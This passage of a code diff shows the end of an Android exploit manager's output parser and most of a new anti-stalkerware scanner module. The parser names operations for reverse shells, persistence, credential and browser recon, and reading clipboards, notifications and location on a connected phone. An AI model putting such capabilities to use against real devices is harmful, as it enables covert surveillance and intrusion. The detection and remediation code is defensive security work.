('user', 'userdebug', 'eng'): + build_type = line.strip() + return {'rooted': rooted, 'method': method, + 'details': {'build_type': build_type, 'raw': raw}} + + if op == '/root/pull-patched': + remote = '' + for line in lines: + line = line.strip() + if 'magisk_patched' in line and line.endswith('.img'): + remote = line + break + return {'success': bool(remote), 'remote_path': remote, + 'note': 'Use adbPull to download this file.' if remote else 'Not found'} + + # ── SMS mutations ── + if op in ('/sms/insert', '/sms/update', '/sms/delete', '/sms/delete-all'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + # ── RCS ── + if op == '/rcs/check': + has_gmessages = 'com.google.android.apps.messaging' in raw + has_messages = 'com.android.messaging' in raw + return {'rcs_available': has_gmessages, 'messaging_app': + 'com.google.android.apps.messaging' if has_gmessages + else ('com.android.messaging' if has_messages else None)} + + # ── Advanced ── + if op == '/adv/clipboard': + text = '' + parts = raw.split("'") + if len(parts) >= 2: + text = parts[1].replace('\n', '') + return {'success': True, 'clipboard': text} + + if op == '/adv/notifications': + notifications = [] + current: dict = {} + for line in lines: + line = line.strip() + if line.startswith('NotificationRecord'): + if current: + notifications.append(current) + current = {'raw': line} + elif 'pkg=' in line and current: + m = re.search(r'pkg=(\S+)', line) + if m: + current['package'] = m.group(1) + elif 'android.title=' in line and current: + current['title'] = line.split('=', 1)[1].strip() + elif 'android.text=' in line and current: + current['text'] = line.split('=', 1)[1].strip() + if current: + notifications.append(current) + return {'success': True, 'notifications': notifications, 'count': len(notifications)} + + if op == '/adv/location': + info = {'raw': raw} + for line in lines: + line = line.strip() + if 'Last Known Location' in line or 'last location=' in line.lower(): + info['last_location'] = line + elif 'fused' in line.lower() and 'location' in line.lower(): + info['fused'] = line + return {'success': True, **info} + + if op == '/adv/fingerprint': + # Each line is output of `getprop ` or other commands + prop_names = [ + 'model', 'brand', 'device', 'manufacturer', 'android', 'sdk', + 'build_id', 'fingerprint', 'build_type', 'abi', 'serial_internal', + ] + fp: dict = {} + clean_lines = [l.strip() for l in lines if l.strip()] + for i, name in enumerate(prop_names): + if i < len(clean_lines): + fp[name] = clean_lines[i] + # Last two lines: MAC and android_id + if len(clean_lines) > len(prop_names): + fp['mac_wifi'] = clean_lines[len(prop_names)] + if len(clean_lines) > len(prop_names) + 1: + fp['android_id'] = clean_lines[len(prop_names) + 1] + return fp + + if op == '/adv/settings': + settings: dict = {} + namespace = 'unknown' + for line in lines: + line = line.strip() + if '=' in line: + k, _, v = line.partition('=') + if namespace not in settings: + settings[namespace] = {} + settings[namespace][k.strip()] = v.strip() + return {'success': True, 'settings': settings} + + if op == '/adv/media-list': + files = [l.strip() for l in lines if l.strip() and not l.strip().startswith('total')] + return {'success': True, 'files': files, 'count': len(files)} + + if op == '/adv/network-info': + info: dict = {} + sections = ['interfaces', 'routes', 'dns1', 'dns2', 'proxy'] + clean_lines = [l.strip() for l in lines if l.strip()] + for i, sec in enumerate(sections): + info[sec] = clean_lines[i] if i < len(clean_lines) else '' + info['raw'] = raw + return info + + if op in ('/adv/proxy-set', '/adv/proxy-clear'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/adv/wifi-scan': + return {'success': bool(raw.strip()), 'output': raw} + + if op == '/adv/wifi-connect': + return {'success': 'Connected' in raw or 'success' in raw.lower(), + 'ssid': p.get('ssid'), 'output': raw} + + if op == '/adv/adb-wifi': + ip = '' + for line in lines: + if 'src' in line: + parts = line.split() + if parts: + ip = parts[-1] + port = p.get('port', 5555) + return {'success': True, 'port': port, 'ip': ip, + 'connect_cmd': f'adb connect {ip}:{port}' if ip else 'Get device IP and run: adb connect :'} + + if op == '/adv/selinux': + mode = lines[-1].strip() if lines else 'unknown' + return {'success': True, 'mode': mode} + + if op == '/adv/remount': + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/adv/logcat-sensitive': + filtered = [l.strip() for l in lines if l.strip()] + return {'success': True, 'lines': filtered, 'count': len(filtered)} + + if op == '/adv/processes': + procs = [] + for line in lines[1:]: + parts = line.split() + if len(parts) >= 3: + procs.append({'pid': parts[0], 'user': parts[1], 'name': ' '.join(parts[2:])}) + elif len(parts) == 2: + procs.append({'pid': parts[0], 'name': parts[1]}) + return {'success': True, 'processes': procs, 'count': len(procs)} + + if op == '/adv/ports': + ports = [l.strip() for l in lines + if ':' in l and ('LISTEN' in l or 'tcp' in l.lower())] + return {'success': True, 'ports': ports, 'count': len(ports), 'raw': raw} + + if op == '/adv/modify-setting': + value = lines[-1].strip() if lines else '' + return {'success': True, 'namespace': p.get('namespace'), + 'key': p.get('key'), 'value': value} + + if op in ('/adv/app-launch', '/adv/app-disable', '/adv/app-enable', '/adv/app-clear'): + return {'success': 'error' not in raw.lower(), 'package': p.get('package'), 'output': raw} + + if op == '/adv/content-query': + rows = [] + for line in lines: + if 'Row:' in line: + entry: dict = {} + for m in re.finditer(r'(\w+)=([^,\n]+)', line): + entry[m.group(1)] = m.group(2).strip() + rows.append(entry) + return {'success': True, 'uri': p.get('uri'), 'rows': rows, 'count': len(rows)} + + if op == '/payload/list': + payloads = [] + for line in lines: + if '/data/local/tmp/' in line: + parts = line.split() + if len(parts) >= 2: + payloads.append({'pid': parts[1] if len(parts) > 1 else parts[0], + 'command': line.strip()}) + return {'success': True, 'payloads': payloads, 'count': len(payloads)} + + if op in ('/payload/execute', '/payload/reverse-shell', '/payload/persistence', + '/payload/kill'): + return {'success': 'error' not in raw.lower(), 'output': raw} + + if op == '/boot/info': + info = {} + prop_keys = ['android_version', 'bootloader', 'secure', 'debuggable'] + clean_lines = [l.strip() for l in lines if l.strip()] + for i, k in enumerate(prop_keys): + info[k] = clean_lines[i] if i < len(clean_lines) else '' + return info + + if op in ('/recon/export', '/recon/wifi', '/recon/browser', '/recon/credentials', + '/apps/pull-data', '/rcs/check'): + return {'success': True, 'output': raw, 'lines': lines} + + # Fallback — return raw output + return {'output': raw, 'lines': lines} + + +# ── Singleton ────────────────────────────────────────────────────── + +_manager = None + +def get_exploit_manager(): + global _manager + if _manager is None: + _manager = AndroidExploitManager() + return _manager diff --git a/core/android_protect.py b/core/android_protect.py new file mode 100644 index 0000000..758838e --- /dev/null +++ b/core/android_protect.py @@ -0,0 +1,1910 @@ +""" +AUTARCH Android Protection Shield +Anti-stalkerware and anti-spyware detection, analysis, and remediation. + +Detects: +- Commercial stalkerware (400+ package signatures) +- Government-grade spyware (Pegasus, Predator, Hermit, FinSpy, etc.) +- Hidden apps, rogue device admins, suspicious accessibility services +- MITM certificates, proxy hijacking, dangerous permission combos + +Remediates: +- Disable/uninstall threats, revoke permissions, remove device admins +- Clear rogue CA certs, proxy settings, developer options + +Uses HardwareManager for ADB access. Shizuku for privileged ops on non-rooted devices. +""" + +import json +import os +import random +import re +import time +import fnmatch +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any + +from core.paths import get_data_dir + + +class AndroidProtectManager: + """Anti-stalkerware / anti-spyware shield for Android devices.""" + + def __init__(self): + self._data_dir = get_data_dir() / 'android_protect' + self._data_dir.mkdir(parents=True, exist_ok=True) + + self._sig_path = get_data_dir() / 'stalkerware_signatures.json' + self._signatures = None # lazy load + + self._tracker_path = get_data_dir() / 'tracker_domains.json' + self._tracker_db = None # lazy load + + # ── Helpers ────────────────────────────────────────────────────── + + def _hw(self): + """Get HardwareManager singleton (lazy import to avoid circular).""" + from core.hardware import get_hardware_manager + return get_hardware_manager() + + def _adb(self, args, serial=None, timeout=30): + """Run ADB command via HardwareManager, return (stdout, stderr, rc).""" + return self._hw()._run_adb(args, serial=serial, timeout=timeout) + + def _adb_shell(self, cmd, serial=None, timeout=30): + """Shortcut for adb shell .""" + return self._adb(['shell'] + (cmd if isinstance(cmd, list) else [cmd]), + serial=serial, timeout=timeout) + + def _device_dir(self, serial): + """Per-device data directory.""" + safe = re.sub(r'[^\w\-.]', '_', serial) + d = self._data_dir / safe + d.mkdir(parents=True, exist_ok=True) + return d + + def _scans_dir(self, serial): + d = self._device_dir(serial) / 'scans' + d.mkdir(parents=True, exist_ok=True) + return d + + # ── Signature Database ────────────────────────────────────────── + + def _load_signatures(self): + """Load stalkerware/spyware signature database.""" + if self._signatures is not None: + return self._signatures + if not self._sig_path.exists(): + self._signatures = {} + return self._signatures + try: + with open(self._sig_path, 'r') as f: + self._signatures = json.load(f) + except (json.JSONDecodeError, OSError): + self._signatures = {} + return self._signatures + + def update_signatures(self, url=None): + """Download latest signatures from GitHub.""" + import urllib.request + if not url: + url = ('https://raw.githubusercontent.com/AssoEchap/' + 'stalkerware-indicators/master/generated/' + 'stalkerware.json') + try: + req = urllib.request.Request(url, headers={'User-Agent': 'AUTARCH/1.0'}) + with urllib.request.urlopen(req, timeout=30) as resp: + raw = json.loads(resp.read().decode()) + # Merge external indicators into our packages list + sigs = self._load_signatures() + merged = 0 + if isinstance(raw, list): + # AssoEchap format: list of objects with "package" field + if 'stalkerware' not in sigs: + sigs['stalkerware'] = {} + existing_pkgs = set() + for family in sigs['stalkerware'].values(): + for pkg in family.get('packages', []): + existing_pkgs.add(pkg) + new_family = sigs['stalkerware'].setdefault('AssoEchap Community', { + 'severity': 'critical', + 'packages': [], + 'description': 'Community-sourced stalkerware indicators' + }) + for entry in raw: + pkg = entry.get('package', '') if isinstance(entry, dict) else str(entry) + pkg = pkg.strip() + if pkg and pkg not in existing_pkgs: + new_family['packages'].append(pkg) + existing_pkgs.add(pkg) + merged += 1 + sigs['last_updated'] = datetime.now().strftime('%Y-%m-%d') + with open(self._sig_path, 'w') as f: + json.dump(sigs, f, indent=2) + self._signatures = sigs + return {'ok': True, 'merged': merged, 'source': url} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def get_signature_stats(self): + """Count known threats by category.""" + sigs = self._load_signatures() + stalkerware_families = len(sigs.get('stalkerware', {})) + stalkerware_packages = sum( + len(f.get('packages', [])) + for f in sigs.get('stalkerware', {}).values() + ) + govt_spyware = len(sigs.get('government_spyware', {})) + perm_combos = len(sigs.get('dangerous_permission_combos', [])) + return { + 'stalkerware_families': stalkerware_families, + 'stalkerware_packages': stalkerware_packages, + 'government_spyware': govt_spyware, + 'permission_combos': perm_combos, + 'version': sigs.get('version', 'unknown'), + 'last_updated': sigs.get('last_updated', 'unknown'), + } + + # ── Shizuku Management ────────────────────────────────────────── + + def check_shizuku(self, serial): + """Check Shizuku installation and status.""" + result = {'installed': False, 'running': False, 'version': ''} + # Check installed + stdout, _, rc = self._adb_shell( + 'pm list packages moe.shizuku.privileged.api', serial=serial) + result['installed'] = 'moe.shizuku.privileged.api' in stdout + if not result['installed']: + return result + # Get version + stdout, _, rc = self._adb_shell( + 'dumpsys package moe.shizuku.privileged.api | grep versionName', + serial=serial) + m = re.search(r'versionName=(\S+)', stdout) + if m: + result['version'] = m.group(1) + # Check running + stdout, _, rc = self._adb_shell( + 'ps -A | grep shizuku', serial=serial, timeout=10) + result['running'] = 'shizuku' in stdout.lower() + return result + + def install_shizuku(self, serial, apk_path=None): + """Install Shizuku APK via ADB.""" + if not apk_path: + return {'ok': False, 'error': 'No APK path provided'} + if not os.path.isfile(apk_path): + return {'ok': False, 'error': f'APK not found: {apk_path}'} + stdout, stderr, rc = self._adb(['install', '-r', apk_path], + serial=serial, timeout=120) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': 'Shizuku installed'} + return {'ok': False, 'error': stderr or stdout} + + def start_shizuku(self, serial): + """Start Shizuku service via ADB.""" + stdout, stderr, rc = self._adb_shell( + 'sh /sdcard/Android/data/moe.shizuku.privileged.api/start.sh', + serial=serial, timeout=15) + if rc == 0: + return {'ok': True, 'output': stdout.strip()} + return {'ok': False, 'error': stderr or stdout} + + def stop_shizuku(self, serial): + """Stop Shizuku server process.""" + stdout, stderr, rc = self._adb_shell( + 'am force-stop moe.shizuku.privileged.api', serial=serial) + return {'ok': rc == 0, 'output': stdout.strip()} + + def shizuku_status(self, serial): + """Full Shizuku status check.""" + info = self.check_shizuku(serial) + # Check authorized apps + if info['running']: + stdout, _, _ = self._adb_shell( + 'dumpsys activity provider moe.shizuku.privileged.api', + serial=serial, timeout=10) + info['provider_info'] = stdout[:2000] if stdout else '' + return info + + # ── Protection App Management ─────────────────────────────────── + + def check_shield_app(self, serial): + """Check if our protection app is installed.""" + stdout, _, rc = self._adb_shell( + 'pm list packages com.autarch.shield', serial=serial) + installed = 'com.autarch.shield' in stdout + version = '' + if installed: + stdout2, _, _ = self._adb_shell( + 'dumpsys package com.autarch.shield | grep versionName', + serial=serial) + m = re.search(r'versionName=(\S+)', stdout2) + if m: + version = m.group(1) + return {'installed': installed, 'version': version} + + def install_shield_app(self, serial, apk_path): + """Install our Shield APK via ADB.""" + if not os.path.isfile(apk_path): + return {'ok': False, 'error': f'APK not found: {apk_path}'} + stdout, stderr, rc = self._adb(['install', '-r', apk_path], + serial=serial, timeout=120) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': 'Shield app installed'} + return {'ok': False, 'error': stderr or stdout} + + def configure_shield(self, serial, config): + """Push config to shield app via broadcast intent.""" + config_json = json.dumps(config) + stdout, stderr, rc = self._adb_shell( + f'am broadcast -a com.autarch.shield.CONFIGURE ' + f'--es config \'{config_json}\' ' + f'-n com.autarch.shield/.ConfigReceiver', + serial=serial) + return {'ok': rc == 0, 'output': stdout.strip()} + + def get_shield_status(self, serial): + """Query shield app status via broadcast + logcat.""" + # Send status query + self._adb_shell( + 'am broadcast -a com.autarch.shield.STATUS_QUERY ' + '-n com.autarch.shield/.StatusReceiver', + serial=serial) + # Read response from logcat + stdout, _, _ = self._adb( + ['logcat', '-d', '-t', '20', '-s', 'AutoarchShield:*'], + serial=serial, timeout=5) + return {'output': stdout.strip()} + + def grant_shield_permissions(self, serial): + """Auto-grant required permissions to Shield app.""" + perms = [ + 'android.permission.READ_SMS', + 'android.permission.ACCESS_FINE_LOCATION', + 'android.permission.READ_PHONE_STATE', + 'android.permission.READ_CALL_LOG', + 'android.permission.READ_CONTACTS', + 'android.permission.PACKAGE_USAGE_STATS', + ] + granted = [] + failed = [] + for perm in perms: + _, stderr, rc = self._adb_shell( + f'pm grant com.autarch.shield {perm}', serial=serial) + if rc == 0: + granted.append(perm) + else: + failed.append({'perm': perm, 'error': stderr.strip()}) + return {'granted': granted, 'failed': failed} + + # ── Stalkerware Detection ─────────────────────────────────────── + + def _get_installed_packages(self, serial): + """Get all installed packages as a set.""" + stdout, _, rc = self._adb_shell('pm list packages', serial=serial, timeout=30) + if rc != 0: + return set() + pkgs = set() + for line in stdout.strip().split('\n'): + line = line.strip() + if line.startswith('package:'): + pkgs.add(line[8:]) + return pkgs + + def scan_stalkerware(self, serial): + """Scan all installed packages against signature database.""" + sigs = self._load_signatures() + installed = self._get_installed_packages(serial) + if not installed: + return {'error': 'Could not list packages (ADB issue?)', + 'found': [], 'clean_count': 0, 'total': 0} + + found = [] + stalkerware_db = sigs.get('stalkerware', {}) + # Also check suspicious system packages + suspicious_sys = set(sigs.get('suspicious_system_packages', [])) + + for family_name, family_data in stalkerware_db.items(): + for pkg in family_data.get('packages', []): + if pkg in installed: + found.append({ + 'name': family_name, + 'package': pkg, + 'severity': family_data.get('severity', 'high'), + 'description': family_data.get('description', ''), + }) + + # Check suspicious system-mimicking packages + for pkg in installed: + if pkg in suspicious_sys: + found.append({ + 'name': 'Suspicious System Package', + 'package': pkg, + 'severity': 'high', + 'description': 'Package mimics a system app name — verify legitimacy', + }) + + matched_pkgs = {f['package'] for f in found} + return { + 'found': found, + 'clean_count': len(installed) - len(matched_pkgs), + 'total': len(installed), + } + + def scan_hidden_apps(self, serial): + """Detect apps with no launcher icon (hidden from app drawer).""" + # Get all packages + installed = self._get_installed_packages(serial) + # Get packages that have a launcher activity + stdout, _, rc = self._adb_shell( + 'cmd package query-activities -a android.intent.action.MAIN ' + '-c android.intent.category.LAUNCHER', + serial=serial, timeout=30) + launcher_pkgs = set() + if rc == 0: + for line in stdout.split('\n'): + line = line.strip() + if '/' in line: + pkg = line.split('/')[0] + launcher_pkgs.add(pkg) + elif line.startswith('package:'): + launcher_pkgs.add(line[8:].split('/')[0]) + # Fallback: try pm query-activities + if not launcher_pkgs: + stdout2, _, rc2 = self._adb_shell( + 'pm query-activities --brief -a android.intent.action.MAIN ' + '-c android.intent.category.LAUNCHER', + serial=serial, timeout=30) + if rc2 == 0: + for line in stdout2.split('\n'): + line = line.strip() + if '/' in line: + launcher_pkgs.add(line.split('/')[0]) + + # System packages that legitimately lack launcher icons + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.qualcomm.', 'com.samsung.', 'com.huawei.', + 'com.mediatek.', 'com.oppo.', 'com.vivo.', + 'com.xiaomi.', 'com.oneplus.', 'com.coloros.', + 'org.codeaurora.', 'com.oem.', 'com.sec.', + ) + + hidden = [] + for pkg in installed: + if pkg not in launcher_pkgs: + if any(pkg.startswith(p) for p in system_prefixes): + continue + hidden.append(pkg) + + return {'hidden_apps': sorted(hidden), 'count': len(hidden)} + + def scan_device_admins(self, serial): + """List device admin apps, flag suspicious ones.""" + stdout, _, rc = self._adb_shell( + 'dumpsys device_policy', serial=serial, timeout=15) + admins = [] + if rc != 0: + return {'admins': [], 'error': 'Could not query device policy'} + + # Parse admin entries + current = None + for line in stdout.split('\n'): + line = line.strip() + m = re.match(r'Admin\s*\((.+?)\):', line) + if not m: + m = re.match(r'(\S+/\S+):', line) + if m: + comp = m.group(1) + pkg = comp.split('/')[0] if '/' in comp else comp + current = {'component': comp, 'package': pkg, 'flags': []} + admins.append(current) + elif current and '=' in line: + current['flags'].append(line) + + # Flag known-bad + sigs = self._load_signatures() + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for a in admins: + a['suspicious'] = a['package'] in known_bad + + return {'admins': admins, 'count': len(admins)} + + def scan_accessibility_services(self, serial): + """List accessibility services, flag non-legitimate ones.""" + stdout, _, rc = self._adb_shell( + 'settings get secure enabled_accessibility_services', + serial=serial, timeout=10) + services = [] + if rc != 0 or not stdout.strip() or stdout.strip() == 'null': + return {'services': [], 'count': 0} + + sigs = self._load_signatures() + legit = set(sigs.get('legitimate_accessibility_apps', [])) + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for svc in stdout.strip().split(':'): + svc = svc.strip() + if not svc: + continue + pkg = svc.split('/')[0] if '/' in svc else svc + status = 'legitimate' if pkg in legit else ( + 'malicious' if pkg in known_bad else 'unknown') + services.append({ + 'service': svc, + 'package': pkg, + 'status': status, + }) + + return {'services': services, 'count': len(services)} + + def scan_usage_access(self, serial): + """Apps with usage stats access.""" + stdout, _, rc = self._adb_shell( + 'appops query-op USAGE_STATS allow', serial=serial, timeout=10) + apps = [] + if rc == 0 and stdout.strip(): + for line in stdout.strip().split('\n'): + pkg = line.strip() + if pkg: + apps.append(pkg) + # Fallback + if not apps: + stdout2, _, _ = self._adb_shell( + 'dumpsys usagestats | grep "package="', serial=serial, timeout=15) + if stdout2: + for line in stdout2.split('\n'): + m = re.search(r'package=(\S+)', line) + if m: + apps.append(m.group(1)) + apps = list(set(apps)) + return {'apps': sorted(apps), 'count': len(apps)} + + def scan_notification_listeners(self, serial): + """Apps reading notifications.""" + stdout, _, rc = self._adb_shell( + 'settings get secure enabled_notification_listeners', + serial=serial, timeout=10) + listeners = [] + if rc != 0 or not stdout.strip() or stdout.strip() == 'null': + return {'listeners': [], 'count': 0} + + sigs = self._load_signatures() + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for svc in stdout.strip().split(':'): + svc = svc.strip() + if not svc: + continue + pkg = svc.split('/')[0] if '/' in svc else svc + listeners.append({ + 'service': svc, + 'package': pkg, + 'suspicious': pkg in known_bad, + }) + + return {'listeners': listeners, 'count': len(listeners)} + + # ── Government Spyware Detection ──────────────────────────────── + + def scan_spyware_indicators(self, serial): + """Check for known government spyware file paths, processes.""" + sigs = self._load_signatures() + govt = sigs.get('government_spyware', {}) + findings = [] + + for name, data in govt.items(): + indicators = data.get('indicators', {}) + matched = [] + + # Check processes + for proc in indicators.get('processes', []): + stdout, _, rc = self._adb_shell( + f'ps -A | grep -i {proc}', serial=serial, timeout=5) + if rc == 0 and proc.lower() in stdout.lower(): + matched.append({'type': 'process', 'value': proc, + 'evidence': stdout.strip()[:200]}) + + # Check files + for fpath in indicators.get('files', []): + stdout, _, rc = self._adb_shell( + f'ls -la {fpath} 2>/dev/null', serial=serial, timeout=5) + if rc == 0 and stdout.strip() and 'No such file' not in stdout: + matched.append({'type': 'file', 'value': fpath, + 'evidence': stdout.strip()[:200]}) + + # Check properties + for prop in indicators.get('properties', []): + stdout, _, rc = self._adb_shell( + f'getprop {prop}', serial=serial, timeout=5) + if rc == 0 and stdout.strip(): + matched.append({'type': 'property', 'value': prop, + 'evidence': stdout.strip()[:200]}) + + if matched: + findings.append({ + 'name': name, + 'severity': data.get('severity', 'critical'), + 'description': indicators.get('description', + data.get('description', '')), + 'indicators_matched': matched, + }) + + return {'findings': findings, 'count': len(findings), + 'spyware_checked': len(govt)} + + def scan_system_integrity(self, serial): + """Verify system hasn't been tampered with.""" + checks = {} + + # SELinux status + stdout, _, _ = self._adb_shell('getenforce', serial=serial, timeout=5) + selinux = stdout.strip() + checks['selinux'] = { + 'value': selinux, + 'ok': selinux.lower() == 'enforcing', + 'description': 'SELinux should be Enforcing' + } + + # Build fingerprint + stdout, _, _ = self._adb_shell( + 'getprop ro.build.fingerprint', serial=serial, timeout=5) + checks['build_fingerprint'] = { + 'value': stdout.strip(), + 'ok': bool(stdout.strip()), + 'description': 'Build fingerprint present' + } + + # Verity mode + stdout, _, _ = self._adb_shell( + 'getprop ro.boot.veritymode', serial=serial, timeout=5) + verity = stdout.strip() + checks['verity'] = { + 'value': verity or 'not set', + 'ok': verity.lower() in ('enforcing', ''), + 'description': 'DM-Verity should be enforcing or not set' + } + + # Root check — su binary + stdout, _, rc = self._adb_shell( + 'which su 2>/dev/null', serial=serial, timeout=5) + has_su = bool(stdout.strip()) + checks['su_binary'] = { + 'value': stdout.strip() or 'not found', + 'ok': not has_su, + 'description': 'su binary should not be present' + } + + # Boot state + stdout, _, _ = self._adb_shell( + 'getprop ro.boot.verifiedbootstate', serial=serial, timeout=5) + vb = stdout.strip() + checks['verified_boot'] = { + 'value': vb or 'unknown', + 'ok': vb.lower() in ('green', ''), + 'description': 'Verified boot state should be green' + } + + ok_count = sum(1 for c in checks.values() if c['ok']) + return {'checks': checks, 'ok_count': ok_count, + 'total': len(checks)} + + def scan_suspicious_processes(self, serial): + """Find suspicious processes.""" + findings = [] + + # Processes in /data/local/tmp/ + stdout, _, rc = self._adb_shell( + 'ls -la /data/local/tmp/ 2>/dev/null', serial=serial, timeout=10) + if rc == 0 and stdout.strip(): + for line in stdout.strip().split('\n'): + line = line.strip() + if line and not line.startswith('total') and not line.startswith('d'): + findings.append({ + 'type': 'tmp_file', + 'detail': line, + 'severity': 'high', + 'description': 'File in /data/local/tmp/ — often used by exploits' + }) + + # Running processes as root (non-standard) + stdout, _, rc = self._adb_shell( + 'ps -A -o USER,PID,NAME 2>/dev/null || ps -A', + serial=serial, timeout=10) + if rc == 0: + for line in stdout.strip().split('\n')[1:]: # skip header + parts = line.split() + if len(parts) >= 3: + user, pid, name = parts[0], parts[1], parts[-1] + # Flag unknown root processes + if user == 'root' and not any( + name.startswith(p) for p in ( + 'init', 'kthread', 'logd', 'vold', 'lmkd', + 'servicemanager', 'surfaceflinger', 'zygote', + 'adbd', 'healthd', 'installd', 'netd', 'storaged', + '/system/', '/vendor/', '[', 'ueventd', 'sh', + ) + ): + # Only flag unusual ones + if '/' in name and '/data/' in name: + findings.append({ + 'type': 'suspicious_process', + 'detail': f'{name} (PID {pid}, user {user})', + 'severity': 'high', + 'description': 'Root process running from /data/' + }) + + return {'findings': findings, 'count': len(findings)} + + def scan_certificates(self, serial): + """Check CA certificate store for MITM certs.""" + findings = [] + + # User-installed CA certs + stdout, _, rc = self._adb_shell( + 'ls /data/misc/user/0/cacerts-added/ 2>/dev/null', + serial=serial, timeout=10) + if rc == 0 and stdout.strip(): + for cert in stdout.strip().split('\n'): + cert = cert.strip() + if cert: + # Get cert details + detail_out, _, _ = self._adb_shell( + f'openssl x509 -in /data/misc/user/0/cacerts-added/{cert} ' + f'-noout -subject -issuer 2>/dev/null', + serial=serial, timeout=5) + findings.append({ + 'hash': cert, + 'detail': detail_out.strip() if detail_out else 'Unknown', + 'severity': 'high', + 'description': 'User-installed CA certificate — may enable MITM' + }) + + # Also check settings for cert count + stdout2, _, _ = self._adb_shell( + 'settings get global num_user_ca_certs 2>/dev/null', + serial=serial, timeout=5) + + return { + 'certs': findings, + 'count': len(findings), + 'user_ca_count': stdout2.strip() if stdout2 and stdout2.strip() != 'null' else '0' + } + + def scan_network_config(self, serial): + """Check for rogue proxy, DNS, VPN.""" + checks = {} + + # Global HTTP proxy + stdout, _, _ = self._adb_shell( + 'settings get global http_proxy', serial=serial, timeout=5) + proxy = stdout.strip() + checks['http_proxy'] = { + 'value': proxy if proxy and proxy != 'null' and proxy != ':0' else 'none', + 'ok': not proxy or proxy in ('null', ':0', ''), + 'description': 'HTTP proxy setting' + } + + # Global proxy host/port + for setting in ('global_http_proxy_host', 'global_http_proxy_port'): + stdout, _, _ = self._adb_shell( + f'settings get global {setting}', serial=serial, timeout=5) + val = stdout.strip() + checks[setting] = { + 'value': val if val and val != 'null' else 'none', + 'ok': not val or val in ('null', ''), + } + + # DNS + stdout, _, _ = self._adb_shell( + 'getprop net.dns1', serial=serial, timeout=5) + dns = stdout.strip() + checks['dns1'] = { + 'value': dns or 'default', + 'ok': True, # We just report it + 'description': 'Primary DNS server' + } + + # Private DNS + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + checks['private_dns'] = { + 'value': stdout.strip() or 'default', + 'ok': True, + 'description': 'Private DNS mode' + } + + # Active VPN + stdout, _, _ = self._adb_shell( + 'dumpsys connectivity | grep -i "vpn"', serial=serial, timeout=10) + has_vpn = 'CONNECTED' in stdout.upper() if stdout else False + checks['vpn_active'] = { + 'value': 'Active' if has_vpn else 'None', + 'ok': True, # VPN is not inherently bad + 'description': 'Active VPN connection' + } + + ok_count = sum(1 for c in checks.values() if c.get('ok', True)) + return {'checks': checks, 'ok_count': ok_count, 'total': len(checks)} + + def scan_developer_options(self, serial): + """Check developer options state.""" + checks = {} + + settings_map = { + 'adb_enabled': ('global', 'USB Debugging'), + 'development_settings_enabled': ('global', 'Developer Options'), + 'install_non_market_apps': ('secure', 'Unknown Sources (legacy)'), + 'allow_mock_location': ('secure', 'Mock Locations'), + } + + for setting, (namespace, desc) in settings_map.items(): + stdout, _, _ = self._adb_shell( + f'settings get {namespace} {setting}', + serial=serial, timeout=5) + val = stdout.strip() + enabled = val == '1' + checks[setting] = { + 'value': 'enabled' if enabled else 'disabled', + 'enabled': enabled, + 'description': desc, + } + + # OEM unlock + stdout, _, _ = self._adb_shell( + 'getprop sys.oem_unlock_allowed', serial=serial, timeout=5) + oem = stdout.strip() + checks['oem_unlock'] = { + 'value': 'allowed' if oem == '1' else 'locked', + 'enabled': oem == '1', + 'description': 'OEM Unlock', + } + + return {'checks': checks} + + # ── Permission Analysis ───────────────────────────────────────── + + def analyze_app_permissions(self, serial, package): + """Full permission breakdown for one app.""" + stdout, _, rc = self._adb_shell( + f'dumpsys package {package}', serial=serial, timeout=15) + if rc != 0: + return {'error': f'Could not query package {package}'} + + perms = {'granted': [], 'denied': [], 'install': []} + in_perms = False + for line in stdout.split('\n'): + line = line.strip() + if 'requested permissions:' in line.lower(): + in_perms = True + continue + if 'install permissions:' in line.lower(): + in_perms = False + continue + if in_perms and line.startswith('android.permission.'): + perms['install'].append(line.rstrip(':')) + # Runtime permissions + m = re.match(r'(android\.permission\.\w+).*granted=(\w+)', line) + if m: + perm_name, granted = m.group(1), m.group(2) + if granted == 'true': + perms['granted'].append(perm_name) + else: + perms['denied'].append(perm_name) + + # Get app info + info = {} + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('versionName='): + info['version'] = line.split('=', 1)[1] + elif 'firstInstallTime=' in line: + info['first_install'] = line.split('=', 1)[1] + elif 'lastUpdateTime=' in line: + info['last_update'] = line.split('=', 1)[1] + + return {'package': package, 'permissions': perms, 'info': info} + + def find_dangerous_apps(self, serial): + """Find apps with dangerous permission combinations.""" + sigs = self._load_signatures() + combos = sigs.get('dangerous_permission_combos', []) + installed = self._get_installed_packages(serial) + + # System packages to skip + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 'com.huawei.', 'com.qualcomm.', + ) + + dangerous = [] + for pkg in installed: + if any(pkg.startswith(p) for p in system_prefixes): + continue + # Get permissions + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep "android.permission"', + serial=serial, timeout=10) + if rc != 0 or not stdout: + continue + app_perms = set() + for line in stdout.split('\n'): + m = re.search(r'(android\.permission\.[\w.]+)', line) + if m: + app_perms.add(m.group(1).replace('android.permission.', '')) + + # Check combos + for combo in combos: + combo_perms = combo if isinstance(combo, list) else combo.get('permissions', []) + combo_name = combo.get('name', 'unknown') if isinstance(combo, dict) else 'pattern' + combo_sev = combo.get('severity', 'high') if isinstance(combo, dict) else 'high' + if all(p in app_perms for p in combo_perms): + dangerous.append({ + 'package': pkg, + 'combo': combo_name, + 'severity': combo_sev, + 'matched_perms': combo_perms, + }) + break # One match per app is enough + + return {'dangerous': dangerous, 'count': len(dangerous)} + + def permission_heatmap(self, serial): + """Which apps have which dangerous permissions (matrix view).""" + installed = self._get_installed_packages(serial) + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 